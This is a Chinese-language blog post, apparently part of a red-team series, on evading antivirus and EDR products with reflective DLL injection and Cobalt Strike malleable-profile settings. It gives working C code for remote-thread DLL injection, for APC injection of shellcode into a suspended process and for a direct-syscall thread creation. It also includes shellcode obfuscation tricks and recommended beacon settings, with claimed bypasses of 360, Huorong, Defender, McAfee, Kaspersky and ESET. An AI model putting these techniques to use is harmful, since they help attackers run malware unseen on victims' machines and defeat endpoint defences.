引言

本文主要介绍“反射型 dll 注入”及“柔性加载”技术。

反射型 dll 注入

为什么需要反射型 dll 注入

常规的 dll 注入代码如下：

int main(int argc, char *argv[]) {HANDLE processHandle;PVOID remoteBuffer;wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);        WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE）GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);CloseHandle(processHandle); 
return 0;}

主要做了几件事情：

1. 从磁盘读取 dll 到 wchar_t 数组

2. 将该 payload 数组写入目标内存

3. 在目标内存中找到 LoadLibraryW 函数

4. 通过 CreateRemoteThread 调用 LoadLibraryW 函数，参数为 dll 在内存中的地址。

这样的操作模式有几个很高危的点。首先，从磁盘读取 dll 需要考虑 dll 的静态免杀，对此我们可以直接写在装载器中并加密。

其次，在目标内存中找到 LoadLibraryW 函数，需要 GetProcAddress LoadLibraryW，这种调用属于很有特征的调用模式，容易被 AV/EDR 归类。对此我们的解决措施就是接下来要提及的反射型 dll 注入技术。

最后，CreateRemoteThread 进行远程线程注入 行为本身就很高危，同时参数是 LoadLibraryW 的地址，一眼 malware。

对此我们优化调用，不再使用 CreateRemoteThread 进而使用创建新进程的方式结合反射型 dll 注入技术改变 dll 注入技术的调用模式。

实现思路

早期的 dll 注入实现原理：

上图比较清楚的写了反射型 dll 注入的原理，1，2，3 步由 A 向 B 线程写入 dll。第四步调用 B 线程中的 embedded bootstrapper code。最后通过 bootstrapper shellcode 调用 dll 的导出函数 reflective loader。

reflective loader 实际上是一个自己实现的 LoadLibraryW 函数，从内存中找到我们写入的 dll 并修复使其成为可以被正常使用的 pe 文件，最后调用 DLLmain 实现我们的恶意功能。

我们的具体实现和上面早期的思路有所区别，首先我们不使用远程进程/线程注入的方式，其次我们不需要 bootstrapper shellcode 这个部分，我们可以直接在加载器部分算出 reflective loader 在内存中的地址，直接调用即可。

【一一帮助安全学习，所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

具体实现

加载器部分

首先 shellcode 使用 AES 解密，这部分添加了一些 c 的代码加密

后来发现原本项目的 release 目录下有 python 的加密脚本：

解密载入内存后，使用 GetReflectiveLoaderOffset 计算出 ReflectLoader 函数的偏移:

最后创建线程调用 ReflectLoader 函数。

dll 部分

ReflectiveLoader 一共做了 5 件事：

一、 解析加载 DLL 所需 kernel32.dll WINAPI 的地址(例如 VirtualAlloc, LoadLibraryA 等),通过关键函数的 hash 在内存中搜索，函数 hash：

遍历内存进行搜索：

二、 将 DLL 及其相应的节写入内存中：

三、 建立 DLL 导入表，以便 DLL 可以调用 ntdll.dll 和 kernel32.dll WINAPI

四、 修复重定位表：

五、 调用 DLL 的入口点:

最终我们的恶意代码位于 dllmain 中，项目还是采用加载 shellcode 的方式上线 cs。

柔性加载

限制使用具有 RWX 标记的内存，cs 在 4+可以直接进行相关配置。

推荐配置：

set startrwx        "false";set userwx          "false";set cleanup         "true";set stomppe         "true";set obfuscate       "true";set sleep_mask      "true";set smartinject     "true";

牛刀小试

360

使用 base64+xor 混淆 shellcode：

成功 bypass:

火绒

和上述方法相同:

definder

加强 shellcode 的混淆：

std::string rest2_reference = "xxx@@";std::string rest3_reference = replace(rest2_reference, "@@", "==");

依旧报毒，但是类型发生改变了，说明静态的混淆有效果：

异或的操作，比较可疑，经过测试发现是 cs 的 shellcode 出现在数组里就报毒，应该是对内存进行的扫描。

所以我们可以使用《文章二》中提及的技术“规避常见的恶意 API 调用模式”，将 shellcode 分片直接写入连续内存。

在测试的过程中发现莫名其妙的过了查杀:

很神奇，这段并没有实现内存的切片写入，因为 shellcode 的大小没有达到 4096，实际上相当于直接分配了个大小为 4096 的数组，写入了 shellcode。

而且把这段代码相同的格式放外面就不行，个人感觉 definder 还是没有去检查内存。

可能是有语义分析的引擎，这次刚好绕过了语义分析。

macfee

同上方法可以成功 bypass：

正常执行命令：

kasperky Endpoint 11 for windows

用过 macfee 和 definder 的 demo2 测试失败，注释掉代码加载部分不报毒，改用 apc 和创建进程的的方式加载内存：

SIZE_T shellSize = 4096;STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);HANDLE victimProcess = pi.hProcess;HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);ResumeThread(threadHandle);

依旧不行：

使用 syscall 调用 NtCreateThreadEx。这里被坑了，WaitForSingleObject 要使用，不然会异步，没法上线：

ANtCTE(    &hThread,    THREAD_ALL_ACCESS,    NULL,    GetCurrentProcess(),    (LPTHREAD_START_ROUTINE)exec,    NULL,    NULL,    0,    0,    0,    nullptr);WaitForSingleObject(hThread, INFINITE);

能看到效果,行为检测依旧有问题:

但漏洞利用防御已经没有相关报警:

怀疑是 cs 本身流量特征的问题，为了验证我使用卡巴斯基本身的功能禁用了网络请求：

确实不杀也不报警了，确定是 cs 通信的问题。

ESET Endpoint Security

demo3 报警，并且明显检测到网络连接行为

静态没有问题

主要应该还是在对内存的检测，而且感觉已经执行到了发包

下面根据《三》中的“beacon 的内存加密”对 demo3 进行优化,使用 RefleXXion 工具的第二种将内存设为 NO_ACCESS 并通过注册异常处理还原的方式进行免杀。

设置流量的白名单：

关闭 web 控制后成功并上线

eset 在持续在扫描内存，但一直没有权限，一直触发异常，无法进入正常的后门逻辑

能绕过内存的检测，但无法正常使用

感觉 ESET 一直在我程序里进行内存操作，访问到了不可访问的内存段。

可能 ESET 的机制是一直在扫描程序内存，也可能是想要做一些 hook。

我尝试使用 RefleXXion 的第一种方法，将 shellcode 加密并使属性为 RW 或 RX 的方式加载 shellcode:

可以成功上线，并且正常使用：

总结

该系列文章所有的 bypass edr 方法都只在用户态进行操作，已经能规避大多数 AV/EDR 的检测。但不乏一些 edr 进行了比较多的内核层面的限制，如炭黑、fireeye 等。